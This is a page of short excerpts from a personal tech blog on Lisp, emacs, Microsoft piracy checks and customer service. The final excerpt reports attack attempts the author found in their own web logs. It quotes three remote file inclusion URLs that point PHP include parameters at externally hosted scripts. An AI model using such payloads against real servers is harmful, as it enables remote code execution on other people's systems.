“Men want hot women, study confirms“. Well, duh! 🙂 Despite the title of the article, the aforementioned study did have some interesting insights. It’s worth a read for anyone interested in decoding human behavior.
Very amusing, and quite possibly accurate. 🙂
I tried. I really did. I gave it more than a week, but at the risk of turning Geek Drivel into the latest battleground in the editor holy wars, I found that I just can’t stand the venerable and much-venerated editor known as emacs. I’m sure that emacs aficionados will say that a week simply …
After spending a week and a half studying both the PDF version of Seibel’s Practical Common Lisp and my copy of Graham’s ANSI Common Lisp (comparison coming soon), I coded up some algorithms for the next Project X prototype in the language yesterday.
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Oh, lovely. Microsoft falsely accuses twelve thousand people of piracy over the weekend, and considers it nothing but a “glitch.” If my company had a “glitch” like that, we’d likely be out of business come Monday. I hadn’t noticed the problem here, but that may have something to do with the fact that only two …
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My post last week on how a long-time C++ aficionado (me) finally accepted that Lisp is a better programming language got a lot of hits. And I do mean a lot of hits: over a three-day period, nearly eleven times as many people visited Geek Drivel (to see that entry) as had visited in the …
Teenagers apparently think that e-mail is only for us old fogies.
A major win for customer service! The customer may not always be right, but if you plan on keeping his business, you’d damn well better treat him with respect.
Over the past couple days, I’ve noticed three odd URLs in my web logs, from three different IP addresses, all using different versions of libwww-perl as the browser ID: /category//includes/global.php?nbs=http://nusay.webng.com/31337.txt??? /category//includes/auth.php?nbs=http://nusay.webng.com/31337.txt?? /category//includes/global.php?nbs=http://usuarios.arnet.com.ar/larry123/safe.txt? Curious, I checked out the “31337.txt” and “safe.txt” files… they were very similar, both consisting of near-identical PHP instructions that tried to get …